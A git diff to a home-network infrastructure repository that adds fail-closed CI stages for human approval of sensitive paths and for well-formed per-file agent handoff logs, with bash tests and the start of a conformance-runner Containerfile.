+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
+exit 1

ci/decisions-log.sh

@@ -0,0 +1,195 @@
+#!/usr/bin/env bash
+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+set +e   # aggregate every problem in one run; do not stop at the first.
+
+cd "$REPO_ROOT"
+
+ARCHIVE="DECISIONS-LOG.md"
+PIN="decisions/ARCHIVE.sha256"
+rc=0
+
+# ---- (1) the archive is frozen ----------------------------------------------
+log "Stage: decisions log (archive frozen + entries well-formed)"
+
+if [ ! -f "$ARCHIVE" ]; then
+  err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
+  summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
+  rc=1
+elif [ ! -f "$PIN" ]; then
+  err "${PIN} is missing, so the archive's integrity cannot be established."
+  err "  If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
+  summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
+  rc=1
+else
+  want="$(awk 'NR==1{print $1}' "$PIN")"
+  got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
+  if [ "$want" != "$got" ]; then
+    err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
+    err "    pinned:  ${want}"
+    err "    on disk: ${got}"
+    err ""
+    err "  Every branch that appends to this file's tail conflicts with every other branch that"
+    err "  does, on the same hunk. That is what made four of five open PRs unmergeable on"
+    err "  2026-09-29, and your commit would re-create it for branches that are not yours."
+    err ""
+    err "  Write your handoff as its OWN FILE instead:"
+    err "    decisions/\$(date +%F)-<your-branch-slug>.md      (see decisions/README.md)"
+    err "  and restore the archive:  git checkout -- ${ARCHIVE}"
+    err ""
+    err "  If the archive genuinely must change (redacting a leaked credential, say), that is a"
+    err "  reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
+    summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
+    rc=1
+  else
+    ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
+  fi
+fi
+
+# ---- (2)(3)(4) every entry is well-formed ------------------------------------
+shopt -s nullglob
+entries=( decisions/[0-9]*.md )
+shopt -u nullglob
+
+# Zero entries is legitimate only until the first handoff lands; after that the glob always
+# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
+# CLAUDE.md, not this stage, is what asks for one.
+if [ "${#entries[@]}" -eq 0 ]; then
+  log "no decisions/ entries yet"
+fi
+
+REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
+
+for f in "${entries[@]}"; do
+  base="${f#decisions/}"
+
+  # (2) filename
+  if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
+    err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
+    err "  Use your branch's last segment as the slug — it is already unique per unit of work."
+    summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
+    rc=1
+    continue
+  fi
+  fname_date="${BASH_REMATCH[1]}"
+
+  if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
+    err "${f}: '${fname_date}' is not a real calendar date."
+    summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
+    rc=1
+    continue
+  fi
+
+  # (3) frontmatter
+  if [ "$(head -1 "$f")" != "---" ]; then
+    err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
+    err "  See decisions/README.md for the template."
+    summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
+    rc=1
+    continue
+  fi
+  fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
+  missing_keys=()
+  for k in date branch title; do
+    grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
+  done
+  if [ "${#missing_keys[@]}" -gt 0 ]; then
+    err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
+    summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
+    rc=1
+    continue
+  fi
+  fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
+  if [ "$fm_date" != "$fname_date" ]; then
+    err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
+    err "  One of them was copied from a template and not edited; the log's ordering depends on both."
+    summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
+    rc=1
+    continue
+  fi
+
+  # (4) the three required sections, each with a real body
+  body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
+  [ -n "$body_start" ] || body_start=1
+  for want_sec in "${REQUIRED_SECTIONS[@]}"; do
+    hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
+    if [ -z "$hdr_line" ]; then
+      err "${f}: missing the required section '## ${want_sec}'."
+      err "  CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
+      err "  All three are structure here, because the third is the one that gets dropped."
+      summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
+      rc=1
+      continue
+    fi
+    # A real body: at least 20 non-blank, non-heading characters before the next '## '.
+    nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
+             | tr -d '[:space:]' | wc -c)"
+    if [ "$nchars" -lt 20 ]; then
+      err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
+      err "  If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
+      err "  is a valid and useful entry. A blank section is not."
+      summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
+      rc=1
+    fi
+  done
+done
+
+if [ "$rc" -eq 0 ]; then
+  ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
+  summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
+else
+  err "decisions log stage FAILED"
+fi
+exit "$rc"

ci/gate.sh

@@ -108,10 +108,12 @@ summary "## Merge gate (R-TEST-03)"
 summary ""
 
 run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
+run_stage decisions-log "${CI_DIR}/decisions-log.sh"
 run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
 run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
@@ -189,6 +191,20 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
 # gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
 # runner registration). A FAIL is real drift and always blocks -- that is the whole point.
 # A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
@@ -214,6 +230,22 @@ case "${OUTCOME[gitea-settings]}" in
   pass) ok "gitea-settings: green" ;;
 esac
 
+# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
+# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
+# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
+# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
+# the tree under test and needs no tool or cluster, so there is no environment in which it
+# "could not run". A guard against a silent, delayed, misattributed regression must not itself
+# have a way to not-run.
+case "${OUTCOME[decisions-log]}" in
+  fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
+  skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
+        err "  as a defect in the stage itself and block."
+        summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
+        BLOCK=1 ;;
+  pass) ok  "decisions-log: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -42,9 +42,16 @@
 #      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
 #      that an unwired credential cannot lock the repository.
 #
-# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
 # settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
 # the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still
+# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
+# the secret that would feed it cannot be created at all.
 set -euo pipefail
 CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"

ci/tests/decisions-log.test.sh

@@ -0,0 +1,130 @@
+#!/usr/bin/env bash
+# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
+#
+# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
+# for every other open branch. A guard against a silent regression is itself worth nothing
+# unless somebody has watched it reject the thing it claims to reject, so each case below
+# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
+# as ci/tests/gate-decision.test.sh, one layer down.
+set -uo pipefail
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+
+# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
+mk_tree() {
+  local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
+  cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
+  printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
+  ( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
+  mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
+  # REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
+  ( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
+}
+
+mk_entry() {
+  cat > "$1" <<ENTRY
+---
+date: $2
+branch: chore/example
+title: An example entry
+---
+
+## What changed
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I verified
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I did NOT verify
+
+Enough prose here to clear the twenty-character body floor comfortably.
+ENTRY
+}
+
+# run <dir> -> sets RC and OUT
+run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
+
+D="${TMP}/t"
+
+echo "== 1. a well-formed tree passes"
+mk_tree "$D"; run "$D"
+[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
+
+echo
+echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
+mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
+                || bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
+grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
+                                    || bad "the message does not say the archive is frozen"
+grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
+                                           || bad "the message does not name the remedy"
+
+echo
+echo "== 3. a re-pin is a deliberate, accepted act"
+mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
+( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
+[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
+
+echo
+echo "== 4. a missing pin is unverifiable, not green"
+mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
+[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
+
+echo
+echo "== 5. entry naming"
+for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
+  mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
+done
+mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
+[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
+
+echo
+echo "== 6. frontmatter"
+mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
+
+for key in date branch title; do
+  mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
+done
+
+# The copied-template failure: the body was rewritten, the date never was.
+mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
+                || bad "accepted a date/filename disagreement"
+
+echo
+echo "== 7. the three required sections, and their bodies"
+for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
+  mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
+done
+
+# A heading with nothing under it is the way this floor gets defeated in practice.
+mk_tree "$D"
+python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
+import sys,re
+p=sys.argv[1]; s=open(p).read()
+s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
+open(p,'w').write(s)
+PY
+run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
+
+echo
+echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
+mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
+[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
+else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/gate-decision.test.sh

@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
 cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
 
 # One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
-for stage in spec-immutability lint l0 render-golden l1 conformance; do
+# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
+# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
+# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
+# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
+# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
+# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
+for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
   cat > "${CI}/${stage}.sh" <<'STUB'
 #!/usr/bin/env bash
 n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
 run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
 assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
 
+echo
+echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
+# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
+# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
+# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
+# if one is ever reported it is a defect in the stage, and the gate must not soften it into
+# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
+# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
+run_gate STAGE_RC_decisions_log=1
+assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
+run_gate STAGE_RC_decisions_log=3
+assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
+run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
 else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
